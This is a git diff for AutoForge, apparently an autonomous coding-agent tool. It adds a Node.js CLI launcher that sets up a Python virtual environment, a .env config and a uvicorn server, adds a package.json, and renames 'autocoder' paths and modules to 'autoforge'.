// Remember the first "too old" result for a better error message
|
||||
if (!bestTooOld) bestTooOld = result;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Verify venv module is available (Debian/Ubuntu may need python3-venv)
|
||||
try {
|
||||
const exeParts = result.exe.split(' ');
|
||||
execFileSync(exeParts[0], [...exeParts.slice(1), '-c', 'import ensurepip'], {
|
||||
encoding: 'utf8',
|
||||
timeout: 10_000,
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
});
|
||||
} catch {
|
||||
die(
|
||||
`Python venv module not available.\n` +
|
||||
` Run: sudo apt install python3.${result.version.minor}-venv`
|
||||
);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// Provide the most helpful error message we can
|
||||
if (bestTooOld) {
|
||||
die(
|
||||
`Python ${bestTooOld.version.raw} found, but 3.11+ required.\n` +
|
||||
' Install Python 3.11+ from https://python.org'
|
||||
);
|
||||
}
|
||||
die(
|
||||
'Python 3.11+ required but not found.\n' +
|
||||
' Install from https://python.org'
|
||||
);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Venv management
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/** Return the path to the Python executable inside the venv. */
|
||||
function venvPython() {
|
||||
return IS_WIN
|
||||
? join(VENV_DIR, 'Scripts', 'python.exe')
|
||||
: join(VENV_DIR, 'bin', 'python');
|
||||
}
|
||||
|
||||
/** SHA-256 hash of the requirements-prod.txt file contents. */
|
||||
function requirementsHash() {
|
||||
const content = readFileSync(REQUIREMENTS_FILE, 'utf8');
|
||||
return createHash('sha256').update(content).digest('hex');
|
||||
}
|
||||
|
||||
/**
|
||||
* Read the composite deps marker. Returns the parsed JSON object
|
||||
* or null if the file is missing / corrupt.
|
||||
*/
|
||||
function readMarker() {
|
||||
try {
|
||||
return JSON.parse(readFileSync(DEPS_MARKER, 'utf8'));
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Ensure the virtual environment exists and dependencies are installed.
|
||||
* Returns true if all setup steps were already satisfied (fast path).
|
||||
*
|
||||
* @param {object} python - The result of findPython()
|
||||
* @param {boolean} forceRecreate - If true, delete and recreate the venv
|
||||
*/
|
||||
function ensureVenv(python, forceRecreate) {
|
||||
mkdirSync(CONFIG_HOME, { recursive: true });
|
||||
|
||||
const marker = readMarker();
|
||||
const reqHash = requirementsHash();
|
||||
const pyExe = venvPython();
|
||||
|
||||
// Determine if the venv itself needs to be (re)created
|
||||
let needsCreate = forceRecreate || !existsSync(pyExe);
|
||||
|
||||
if (!needsCreate && marker) {
|
||||
// Recreate if Python major.minor changed
|
||||
const markerMinor = marker.python_version;
|
||||
const currentMinor = `${python.version.major}.${python.version.minor}`;
|
||||
if (markerMinor && markerMinor !== currentMinor) {
|
||||
needsCreate = true;
|
||||
}
|
||||
|
||||
// Recreate if the recorded python path no longer exists
|
||||
if (marker.python_path && !existsSync(marker.python_path)) {
|
||||
needsCreate = true;
|
||||
}
|
||||
}
|
||||
|
||||
let depsUpToDate = false;
|
||||
if (!needsCreate && marker && marker.requirements_hash === reqHash) {
|
||||
depsUpToDate = true;
|
||||
}
|
||||
|
||||
// Fast path: nothing to do
|
||||
if (!needsCreate && depsUpToDate) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// --- Slow path: show setup progress ---
|
||||
|
||||
log('[2/3] Setting up environment...');
|
||||
|
||||
if (needsCreate) {
|
||||
if (existsSync(VENV_DIR)) {
|
||||
log(' Removing old virtual environment...');
|
||||
rmSync(VENV_DIR, { recursive: true, force: true });
|
||||
}
|
||||
|
||||
log(` Creating virtual environment at ~/.autoforge/venv/`);
|
||||
const exeParts = python.exe.split(' ');
|
||||
try {
|
||||
execFileSync(exeParts[0], [...exeParts.slice(1), '-m', 'venv', VENV_DIR], {
|
||||
encoding: 'utf8',
|
||||
timeout: 120_000,
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
});
|
||||
} catch (err) {
|
||||
die(`Failed to create virtual environment: ${err.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
// Install / update dependencies
|
||||
log(' Installing dependencies...');
|
||||
try {
|
||||
execFileSync(pyExe, ['-m', 'pip', 'install', '-q', '--upgrade', 'pip'], {
|
||||
encoding: 'utf8',
|
||||
timeout: 300_000,
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
});
|
||||
|
||||
execFileSync(pyExe, ['-m', 'pip', 'install', '-q', '-r', REQUIREMENTS_FILE], {
|
||||
encoding: 'utf8',
|
||||
timeout: 600_000,
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
});
|
||||
} catch (err) {
|
||||
die(`Failed to install dependencies: ${err.message}`);
|
||||
}
|
||||
|
||||
// Write marker only after pip succeeds to prevent partial state
|
||||
const markerData = {
|
||||
requirements_hash: reqHash,
|
||||
python_version: `${python.version.major}.${python.version.minor}`,
|
||||
python_path: pyExe,
|
||||
created_at: new Date().toISOString(),
|
||||
};
|
||||
writeFileSync(DEPS_MARKER, JSON.stringify(markerData, null, 2), 'utf8');
|
||||
|
||||
log(' Done');
|
||||
return false;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Config (.env) management
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Parse a .env file into a plain object.
|
||||
* Handles comments, blank lines, and quoted values.
|
||||
*/
|
||||
function parseEnvFile(filePath) {
|
||||
const env = {};
|
||||
if (!existsSync(filePath)) return env;
|
||||
|
||||
const lines = readFileSync(filePath, 'utf8').split('\n');
|
||||
for (const line of lines) {
|
||||
const trimmed = line.trim();
|
||||
if (!trimmed || trimmed.startsWith('#')) continue;
|
||||
|
||||
const eqIdx = trimmed.indexOf('=');
|
||||
if (eqIdx === -1) continue;
|
||||
|
||||
const key = trimmed.slice(0, eqIdx).trim();
|
||||
let value = trimmed.slice(eqIdx + 1).trim();
|
||||
|
||||
// Strip matching quotes (single or double)
|
||||
if (
|
||||
(value.startsWith('"') && value.endsWith('"')) ||
|
||||
(value.startsWith("'") && value.endsWith("'"))
|
||||
) {
|
||||
value = value.slice(1, -1);
|
||||
}
|
||||
|
||||
if (key) {
|
||||
env[key] = value;
|
||||
}
|
||||
}
|
||||
return env;
|
||||
}
|
||||
|
||||
/**
|
||||
* Ensure ~/.autoforge/.env exists. On first run, copy .env.example
|
||||
* from the package directory and print a notice.
|
||||
*
|
||||
* Returns true if the file was newly created.
|
||||
*/
|
||||
function ensureEnvFile() {
|
||||
if (existsSync(ENV_FILE)) return false;
|
||||
|
||||
mkdirSync(CONFIG_HOME, { recursive: true });
|
||||
|
||||
if (existsSync(ENV_EXAMPLE)) {
|
||||
copyFileSync(ENV_EXAMPLE, ENV_FILE);
|
||||
} else {
|
||||
// Fallback: create a minimal placeholder
|
||||
writeFileSync(ENV_FILE, '# AutoForge configuration\n# See documentation for available options.\n', 'utf8');
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Port detection
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Find an available TCP port starting from `start`.
|
||||
* Tries by actually binding a socket (most reliable cross-platform approach).
|
||||
*/
|
||||
function findAvailablePort(start = 8888, maxAttempts = 20) {
|
||||
for (let port = start; port < start + maxAttempts; port++) {
|
||||
try {
|
||||
const server = createServer();
|
||||
// Use a synchronous-like approach: try to listen, then close immediately
|
||||
const result = new Promise((resolve, reject) => {
|
||||
server.once('error', reject);
|
||||
server.listen(port, '127.0.0.1', () => {
|
||||
server.close(() => resolve(port));
|
||||
});
|
||||
});
|
||||
// We cannot await here (sync context), so use the blocking approach:
|
||||
// Try to bind synchronously using a different technique.
|
||||
server.close();
|
||||
} catch {
|
||||
// fall through
|
||||
}
|
||||
}
|
||||
// Synchronous fallback: try to connect; if connection refused, port is free.
|
||||
for (let port = start; port < start + maxAttempts; port++) {
|
||||
try {
|
||||
execFileSync(process.execPath, [
|
||||
'-e',
|
||||
`const s=require("net").createServer();` +
|
||||
`s.listen(${port},"127.0.0.1",()=>{s.close();process.exit(0)});` +
|
||||
`s.on("error",()=>process.exit(1))`,
|
||||
], { timeout: 3000, stdio: 'pipe' });
|
||||
return port;
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
die(`No available ports found in range ${start}-${start + maxAttempts - 1}`);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// PID file management
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/** Read PID from the PID file. Returns the PID number or null. */
|
||||
function readPid() {
|
||||
try {
|
||||
const content = readFileSync(PID_FILE, 'utf8').trim();
|
||||
const pid = Number(content);
|
||||
return Number.isFinite(pid) && pid > 0 ? pid : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/** Check whether a process with the given PID is still running. */
|
||||
function isProcessAlive(pid) {
|
||||
try {
|
||||
process.kill(pid, 0); // signal 0 = existence check
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/** Write the PID file. */
|
||||
function writePid(pid) {
|
||||
mkdirSync(CONFIG_HOME, { recursive: true });
|
||||
writeFileSync(PID_FILE, String(pid), 'utf8');
|
||||
}
|
||||
|
||||
/** Remove the PID file. */
|
||||
function removePid() {
|
||||
try {
|
||||
unlinkSync(PID_FILE);
|
||||
} catch {
|
||||
// Ignore -- file may already be gone
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Browser opening
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/** Open a URL in the user's default browser (best-effort). */
|
||||
function openBrowser(url) {
|
||||
try {
|
||||
if (IS_WIN) {
|
||||
// "start" is a cmd built-in; the empty title string avoids
|
||||
// issues when the URL contains special characters.
|
||||
execSync(`start "" "${url}"`, { stdio: 'ignore' });
|
||||
} else if (platform() === 'darwin') {
|
||||
execFileSync('open', [url], { stdio: 'ignore' });
|
||||
} else {
|
||||
// Linux: only attempt if a display server is available and
|
||||
// we are not in an SSH session.
|
||||
const hasDisplay = process.env.DISPLAY || process.env.WAYLAND_DISPLAY;
|
||||
const isSSH = !!process.env.SSH_TTY;
|
||||
if (hasDisplay && !isSSH) {
|
||||
execFileSync('xdg-open', [url], { stdio: 'ignore' });
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// Non-fatal: user can open the URL manually
|
||||
}
|
||||
}
|
||||
|
||||
/** Detect headless / CI environments where opening a browser is pointless. */
|
||||
function isHeadless() {
|
||||
if (process.env.CI) return true;
|
||||
if (process.env.CODESPACES) return true;
|
||||
if (process.env.SSH_TTY) return true;
|
||||
// Linux without a display server
|
||||
if (!IS_WIN && platform() !== 'darwin' && !process.env.DISPLAY && !process.env.WAYLAND_DISPLAY) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Process cleanup
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/** Kill a process tree. On Windows uses taskkill; elsewhere sends SIGTERM. */
|
||||
function killProcess(pid) {
|
||||
try {
|
||||
if (IS_WIN) {
|
||||
execSync(`taskkill /pid ${pid} /t /f`, { stdio: 'ignore' });
|
||||
} else {
|
||||
process.kill(pid, 'SIGTERM');
|
||||
}
|
||||
} catch {
|
||||
// Process may already be gone
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// CLI commands
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function printVersion() {
|
||||
console.log(`autoforge v${VERSION}`);
|
||||
}
|
||||
|
||||
function printHelp() {
|
||||
console.log(`
|
||||
AutoForge v${VERSION}
|
||||
Autonomous coding agent with web UI
|
||||
|
||||
Usage:
|
||||
autoforge Start the server (default)
|
||||
autoforge config Open ~/.autoforge/.env in $EDITOR
|
||||
autoforge config --path Print config file path
|
||||
autoforge config --show Show effective configuration
|
||||
|
||||
Options:
|
||||
--port PORT Custom port (default: auto from 8888)
|
||||
--host HOST Custom host (default: 127.0.0.1)
|
||||
--no-browser Don't auto-open browser
|
||||
--repair Delete and recreate virtual environment
|
||||
--dev Development mode (requires cloned repo)
|
||||
--version Print version
|
||||
--help Show this help
|
||||
`);
|
||||
}
|
||||
|
||||
function handleConfig(args) {
|
||||
ensureEnvFile();
|
||||
|
||||
if (args.includes('--path')) {
|
||||
console.log(ENV_FILE);
|
||||
return;
|
||||
}
|
||||
|
||||
if (args.includes('--show')) {
|
||||
if (!existsSync(ENV_FILE)) {
|
||||
log('No configuration file found.');
|
||||
return;
|
||||
}
|
||||
const lines = readFileSync(ENV_FILE, 'utf8').split('\n');
|
||||
const active = lines.filter(l => {
|
||||
const t = l.trim();
|
||||
return t && !t.startsWith('#');
|
||||
});
|
||||
if (active.length === 0) {
|
||||
log('No active configuration. All lines are commented out.');
|
||||
log(`Edit: ${ENV_FILE}`);
|
||||
} else {
|
||||
for (const line of active) {
|
||||
console.log(line);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Open in editor
|
||||
const editor = process.env.EDITOR || process.env.VISUAL || (IS_WIN ? 'notepad' : 'vi');
|
||||
try {
|
||||
execFileSync(editor, [ENV_FILE], { stdio: 'inherit' });
|
||||
} catch {
|
||||
log(`Could not open editor "${editor}".`);
|
||||
log(`Edit the file manually: ${ENV_FILE}`);
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Main server start
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function startServer(opts) {
|
||||
const { port: requestedPort, host, noBrowser, repair } = opts;
|
||||
|
||||
// Step 1: Find Python
|
||||
const fastPath = !repair && existsSync(venvPython()) && readMarker()?.requirements_hash === requirementsHash();
|
||||
|
||||
let python;
|
||||
if (fastPath) {
|
||||
// Skip the Python search header on fast path -- we already have a working venv
|
||||
python = null;
|
||||
} else {
|
||||
log(`[1/3] Checking Python...`);
|
||||
python = findPython();
|
||||
log(` Found Python ${python.version.raw} at ${python.exe}`);
|
||||
}
|
||||
|
||||
// Step 2: Ensure venv and deps
|
||||
if (!python) {
|
||||
// Fast path still needs a python reference for potential repair
|
||||
python = findPython();
|
||||
}
|
||||
const wasAlreadyReady = ensureVenv(python, repair);
|
||||
|
||||
// Step 3: Config file
|
||||
const configCreated = ensureEnvFile();
|
||||
|
||||
// Load .env into process.env for the spawned server
|
||||
const dotenvVars = parseEnvFile(ENV_FILE);
|
||||
|
||||
// Determine port
|
||||
const port = requestedPort || findAvailablePort();
|
||||
|
||||
// Check for already-running instance
|
||||
const existingPid = readPid();
|
||||
if (existingPid && isProcessAlive(existingPid)) {
|
||||
log(`AutoForge is already running at http://${host}:${port}`);
|
||||
log('Opening browser...');
|
||||
if (!noBrowser && !isHeadless()) {
|
||||
openBrowser(`http://${host}:${port}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Clean up stale PID file
|
||||
if (existingPid) {
|
||||
removePid();
|
||||
}
|
||||
|
||||
// Show server startup step only on slow path
|
||||
if (!wasAlreadyReady) {
|
||||
log('[3/3] Starting server...');
|
||||
}
|
||||
|
||||
if (configCreated) {
|
||||
log(` Created config file: ~/.autoforge/.env`);
|
||||
log(' Edit this file to configure API providers (Ollama, Vertex AI, z.ai)');
|
||||
log('');
|
||||
}
|
||||
|
||||
// Security warning for non-localhost host
|
||||
if (host !== '127.0.0.1') {
|
||||
console.log('');
|
||||
console.log(' !! SECURITY WARNING !!');
|
||||
console.log(` Remote access enabled on host: ${host}`);
|
||||
console.log(' The AutoForge UI will be accessible from other machines.');
|
||||
console.log(' Ensure you understand the security implications.');
|
||||
console.log('');
|
||||
}
|
||||
|
||||
// Build environment for uvicorn
|
||||
const serverEnv = { ...process.env, ...dotenvVars, PYTHONPATH: PKG_DIR };
|
||||
|
||||
// Enable remote access flag for the FastAPI server
|
||||
if (host !== '127.0.0.1') {
|
||||
serverEnv.AUTOFORGE_ALLOW_REMOTE = '1';
|
||||
}
|
||||
|
||||
// Spawn uvicorn
|
||||
const pyExe = venvPython();
|
||||
const child = spawn(
|
||||
pyExe,
|
||||
[
|
||||
'-m', 'uvicorn',
|
||||
'server.main:app',
|
||||
'--host', host,
|
||||
'--port', String(port),
|
||||
],
|
||||
{
|
||||
cwd: PKG_DIR,
|
||||
env: serverEnv,
|
||||
stdio: 'inherit',
|
||||
}
|
||||
);
|
||||
|
||||
writePid(child.pid);
|
||||
|
||||
// Open browser after a short delay to let the server start
|
||||
if (!noBrowser && !isHeadless()) {
|
||||
setTimeout(() => openBrowser(`http://${host}:${port}`), 2000);
|
||||
}
|
||||
|
||||
const url = `http://${host}:${port}`;
|
||||
console.log('');
|
||||
log(`Server running at ${url}`);
|
||||
log('Press Ctrl+C to stop');
|
||||
|
||||
// Graceful shutdown handlers
|
||||
const cleanup = () => {
|
||||
killProcess(child.pid);
|
||||
removePid();
|
||||
};
|
||||
|
||||
process.on('SIGINT', () => {
|
||||
console.log('');
|
||||
cleanup();
|
||||
process.exit(0);
|
||||
});
|
||||
|
||||
process.on('SIGTERM', () => {
|
||||
cleanup();
|
||||
process.exit(0);
|
||||
});
|
||||
|
||||
// If the child exits on its own, clean up and propagate the exit code
|
||||
child.on('exit', (code) => {
|
||||
removePid();
|
||||
process.exit(code ?? 1);
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Entry point
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Main CLI entry point.
|
||||
*
|
||||
* @param {string[]} args - Command-line arguments (process.argv.slice(2))
|
||||
*/
|
||||
export function run(args) {
|
||||
// --version / -v
|
||||
if (args.includes('--version') || args.includes('-v')) {
|
||||
printVersion();
|
||||
return;
|
||||
}
|
||||
|
||||
// --help / -h
|
||||
if (args.includes('--help') || args.includes('-h')) {
|
||||
printHelp();
|
||||
return;
|
||||
}
|
||||
|
||||
// --dev guard: this only works from a cloned repository
|
||||
if (args.includes('--dev')) {
|
||||
die(
|
||||
'Dev mode requires a cloned repository.\n' +
|
||||
' Clone from https://github.com/paperlinguist/autocoder and run start_ui.sh'
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
// "config" subcommand
|
||||
if (args[0] === 'config') {
|
||||
handleConfig(args.slice(1));
|
||||
return;
|
||||
}
|
||||
|
||||
// Parse flags for server start
|
||||
const host = getFlagValue(args, '--host') || '127.0.0.1';
|
||||
const portStr = getFlagValue(args, '--port');
|
||||
const port = portStr ? Number(portStr) : null;
|
||||
const noBrowser = args.includes('--no-browser');
|
||||
const repair = args.includes('--repair');
|
||||
|
||||
if (port !== null && (!Number.isFinite(port) || port < 1 || port > 65535)) {
|
||||
die('Invalid port number. Must be between 1 and 65535.');
|
||||
}
|
||||
|
||||
// Print banner
|
||||
console.log('');
|
||||
log(`AutoForge v${VERSION}`);
|
||||
console.log('');
|
||||
|
||||
startServer({ port, host, noBrowser, repair });
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Argument parsing helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Extract the value following a flag from the args array.
|
||||
* E.g. getFlagValue(['--port', '9000', '--host', '0.0.0.0'], '--port') => '9000'
|
||||
*/
|
||||
function getFlagValue(args, flag) {
|
||||
const idx = args.indexOf(flag);
|
||||
if (idx === -1 || idx + 1 >= args.length) return null;
|
||||
return args[idx + 1];
|
||||
}
|
||||
54
package.json
Normal file
54
package.json
Normal file
@@ -0,0 +1,54 @@
|
||||
{
|
||||
"name": "autoforge-ai",
|
||||
"version": "0.1.3",
|
||||
"description": "Autonomous coding agent with web UI - build complete apps with AI",
|
||||
"license": "AGPL-3.0",
|
||||
"bin": {
|
||||
"autoforge": "./bin/autoforge.js"
|
||||
},
|
||||
"type": "module",
|
||||
"engines": {
|
||||
"node": ">=20"
|
||||
},
|
||||
"files": [
|
||||
"bin/",
|
||||
"lib/",
|
||||
"api/",
|
||||
"server/",
|
||||
"mcp_server/",
|
||||
"ui/dist/",
|
||||
"ui/package.json",
|
||||
".claude/commands/",
|
||||
".claude/templates/",
|
||||
"examples/",
|
||||
"start.py",
|
||||
"agent.py",
|
||||
"auth.py",
|
||||
"autoforge_paths.py",
|
||||
"autonomous_agent_demo.py",
|
||||
"client.py",
|
||||
"env_constants.py",
|
||||
"parallel_orchestrator.py",
|
||||
"progress.py",
|
||||
"prompts.py",
|
||||
"registry.py",
|
||||
"rate_limit_utils.py",
|
||||
"security.py",
|
||||
"temp_cleanup.py",
|
||||
"requirements-prod.txt",
|
||||
"pyproject.toml",
|
||||
".env.example",
|
||||
"!**/__pycache__/",
|
||||
"!**/*.pyc"
|
||||
],
|
||||
"keywords": [
|
||||
"ai",
|
||||
"coding-agent",
|
||||
"claude",
|
||||
"autonomous",
|
||||
"code-generation"
|
||||
],
|
||||
"scripts": {
|
||||
"prepublishOnly": "npm --prefix ui install && npm --prefix ui run build"
|
||||
}
|
||||
}
|
||||
@@ -40,11 +40,11 @@ from server.utils.process_utils import kill_process_tree
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Root directory of autocoder (where this script and autonomous_agent_demo.py live)
|
||||
AUTOCODER_ROOT = Path(__file__).parent.resolve()
|
||||
# Root directory of autoforge (where this script and autonomous_agent_demo.py live)
|
||||
AUTOFORGE_ROOT = Path(__file__).parent.resolve()
|
||||
|
||||
# Debug log file path
|
||||
DEBUG_LOG_FILE = AUTOCODER_ROOT / "orchestrator_debug.log"
|
||||
DEBUG_LOG_FILE = AUTOFORGE_ROOT / "orchestrator_debug.log"
|
||||
|
||||
|
||||
class DebugLogger:
|
||||
@@ -823,7 +823,7 @@ class ParallelOrchestrator:
|
||||
cmd = [
|
||||
sys.executable,
|
||||
"-u", # Force unbuffered stdout/stderr
|
||||
str(AUTOCODER_ROOT / "autonomous_agent_demo.py"),
|
||||
str(AUTOFORGE_ROOT / "autonomous_agent_demo.py"),
|
||||
"--project-dir", str(self.project_dir),
|
||||
"--max-iterations", "1",
|
||||
"--agent-type", "coding",
|
||||
@@ -845,7 +845,7 @@ class ParallelOrchestrator:
|
||||
"text": True,
|
||||
"encoding": "utf-8",
|
||||
"errors": "replace",
|
||||
"cwd": str(AUTOCODER_ROOT), # Run from autocoder root for proper imports
|
||||
"cwd": str(self.project_dir), # Run from project dir so CLI creates .claude/ in project
|
||||
"env": {**os.environ, "PYTHONUNBUFFERED": "1"},
|
||||
}
|
||||
if sys.platform == "win32":
|
||||
@@ -889,7 +889,7 @@ class ParallelOrchestrator:
|
||||
cmd = [
|
||||
sys.executable,
|
||||
"-u",
|
||||
str(AUTOCODER_ROOT / "autonomous_agent_demo.py"),
|
||||
str(AUTOFORGE_ROOT / "autonomous_agent_demo.py"),
|
||||
"--project-dir", str(self.project_dir),
|
||||
"--max-iterations", "1",
|
||||
"--agent-type", "coding",
|
||||
@@ -908,7 +908,7 @@ class ParallelOrchestrator:
|
||||
"text": True,
|
||||
"encoding": "utf-8",
|
||||
"errors": "replace",
|
||||
"cwd": str(AUTOCODER_ROOT),
|
||||
"cwd": str(self.project_dir), # Run from project dir so CLI creates .claude/ in project
|
||||
"env": {**os.environ, "PYTHONUNBUFFERED": "1"},
|
||||
}
|
||||
if sys.platform == "win32":
|
||||
@@ -992,7 +992,7 @@ class ParallelOrchestrator:
|
||||
cmd = [
|
||||
sys.executable,
|
||||
"-u",
|
||||
str(AUTOCODER_ROOT / "autonomous_agent_demo.py"),
|
||||
str(AUTOFORGE_ROOT / "autonomous_agent_demo.py"),
|
||||
"--project-dir", str(self.project_dir),
|
||||
"--max-iterations", "1",
|
||||
"--agent-type", "testing",
|
||||
@@ -1012,7 +1012,7 @@ class ParallelOrchestrator:
|
||||
"text": True,
|
||||
"encoding": "utf-8",
|
||||
"errors": "replace",
|
||||
"cwd": str(AUTOCODER_ROOT),
|
||||
"cwd": str(self.project_dir), # Run from project dir so CLI creates .claude/ in project
|
||||
"env": {**os.environ, "PYTHONUNBUFFERED": "1"},
|
||||
}
|
||||
if sys.platform == "win32":
|
||||
@@ -1053,7 +1053,7 @@ class ParallelOrchestrator:
|
||||
|
||||
cmd = [
|
||||
sys.executable, "-u",
|
||||
str(AUTOCODER_ROOT / "autonomous_agent_demo.py"),
|
||||
str(AUTOFORGE_ROOT / "autonomous_agent_demo.py"),
|
||||
"--project-dir", str(self.project_dir),
|
||||
"--agent-type", "initializer",
|
||||
"--max-iterations", "1",
|
||||
@@ -1073,7 +1073,7 @@ class ParallelOrchestrator:
|
||||
"text": True,
|
||||
"encoding": "utf-8",
|
||||
"errors": "replace",
|
||||
"cwd": str(AUTOCODER_ROOT),
|
||||
"cwd": str(AUTOFORGE_ROOT),
|
||||
"env": {**os.environ, "PYTHONUNBUFFERED": "1"},
|
||||
}
|
||||
if sys.platform == "win32":
|
||||
|
||||
@@ -46,7 +46,7 @@ def has_features(project_dir: Path) -> bool:
|
||||
return True
|
||||
|
||||
# Check SQLite database
|
||||
from autocoder_paths import get_features_db_path
|
||||
from autoforge_paths import get_features_db_path
|
||||
db_file = get_features_db_path(project_dir)
|
||||
if not db_file.exists():
|
||||
return False
|
||||
@@ -72,7 +72,7 @@ def count_passing_tests(project_dir: Path) -> tuple[int, int, int]:
|
||||
Returns:
|
||||
(passing_count, in_progress_count, total_count)
|
||||
"""
|
||||
from autocoder_paths import get_features_db_path
|
||||
from autoforge_paths import get_features_db_path
|
||||
db_file = get_features_db_path(project_dir)
|
||||
if not db_file.exists():
|
||||
return 0, 0, 0
|
||||
@@ -122,7 +122,7 @@ def get_all_passing_features(project_dir: Path) -> list[dict]:
|
||||
Returns:
|
||||
List of dicts with id, category, name for each passing feature
|
||||
"""
|
||||
from autocoder_paths import get_features_db_path
|
||||
from autoforge_paths import get_features_db_path
|
||||
db_file = get_features_db_path(project_dir)
|
||||
if not db_file.exists():
|
||||
return []
|
||||
@@ -147,7 +147,7 @@ def send_progress_webhook(passing: int, total: int, project_dir: Path) -> None:
|
||||
if not WEBHOOK_URL:
|
||||
return # Webhook not configured
|
||||
|
||||
from autocoder_paths import get_progress_cache_path
|
||||
from autoforge_paths import get_progress_cache_path
|
||||
cache_file = get_progress_cache_path(project_dir)
|
||||
previous = 0
|
||||
previous_passing_ids = set()
|
||||
|
||||
14
prompts.py
14
prompts.py
@@ -19,7 +19,7 @@ TEMPLATES_DIR = Path(__file__).parent / ".claude" / "templates"
|
||||
|
||||
def get_project_prompts_dir(project_dir: Path) -> Path:
|
||||
"""Get the prompts directory for a specific project."""
|
||||
from autocoder_paths import get_prompts_dir
|
||||
from autoforge_paths import get_prompts_dir
|
||||
return get_prompts_dir(project_dir)
|
||||
|
||||
|
||||
@@ -315,9 +315,9 @@ def scaffold_project_prompts(project_dir: Path) -> Path:
|
||||
project_prompts = get_project_prompts_dir(project_dir)
|
||||
project_prompts.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Create .autocoder directory with .gitignore for runtime files
|
||||
from autocoder_paths import ensure_autocoder_dir
|
||||
autocoder_dir = ensure_autocoder_dir(project_dir)
|
||||
# Create .autoforge directory with .gitignore for runtime files
|
||||
from autoforge_paths import ensure_autoforge_dir
|
||||
autoforge_dir = ensure_autoforge_dir(project_dir)
|
||||
|
||||
# Define template mappings: (source_template, destination_name)
|
||||
templates = [
|
||||
@@ -340,14 +340,14 @@ def scaffold_project_prompts(project_dir: Path) -> Path:
|
||||
except (OSError, PermissionError) as e:
|
||||
print(f" Warning: Could not copy {dest_name}: {e}")
|
||||
|
||||
# Copy allowed_commands.yaml template to .autocoder/
|
||||
# Copy allowed_commands.yaml template to .autoforge/
|
||||
examples_dir = Path(__file__).parent / "examples"
|
||||
allowed_commands_template = examples_dir / "project_allowed_commands.yaml"
|
||||
allowed_commands_dest = autocoder_dir / "allowed_commands.yaml"
|
||||
allowed_commands_dest = autoforge_dir / "allowed_commands.yaml"
|
||||
if allowed_commands_template.exists() and not allowed_commands_dest.exists():
|
||||
try:
|
||||
shutil.copy(allowed_commands_template, allowed_commands_dest)
|
||||
copied_files.append(".autocoder/allowed_commands.yaml")
|
||||
copied_files.append(".autoforge/allowed_commands.yaml")
|
||||
except (OSError, PermissionError) as e:
|
||||
print(f" Warning: Could not copy allowed_commands.yaml: {e}")
|
||||
|
||||
|
||||
27
registry.py
27
registry.py
@@ -3,7 +3,7 @@ Project Registry Module
|
||||
=======================
|
||||
|
||||
Cross-platform project registry for storing project name to path mappings.
|
||||
Uses SQLite database stored at ~/.autocoder/registry.db.
|
||||
Uses SQLite database stored at ~/.autoforge/registry.db.
|
||||
"""
|
||||
|
||||
import logging
|
||||
@@ -23,6 +23,22 @@ from sqlalchemy.orm import DeclarativeBase, sessionmaker
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def _migrate_registry_dir() -> None:
|
||||
"""Migrate ~/.autocoder/ to ~/.autoforge/ if needed.
|
||||
|
||||
Provides backward compatibility by automatically renaming the old
|
||||
config directory to the new location on first access.
|
||||
"""
|
||||
old_dir = Path.home() / ".autocoder"
|
||||
new_dir = Path.home() / ".autoforge"
|
||||
if old_dir.exists() and not new_dir.exists():
|
||||
try:
|
||||
old_dir.rename(new_dir)
|
||||
logger.info("Migrated registry directory: ~/.autocoder/ -> ~/.autoforge/")
|
||||
except Exception:
|
||||
logger.warning("Failed to migrate ~/.autocoder/ to ~/.autoforge/", exc_info=True)
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Model Configuration (Single Source of Truth)
|
||||
# =============================================================================
|
||||
@@ -120,12 +136,15 @@ _engine_lock = threading.Lock()
|
||||
|
||||
def get_config_dir() -> Path:
|
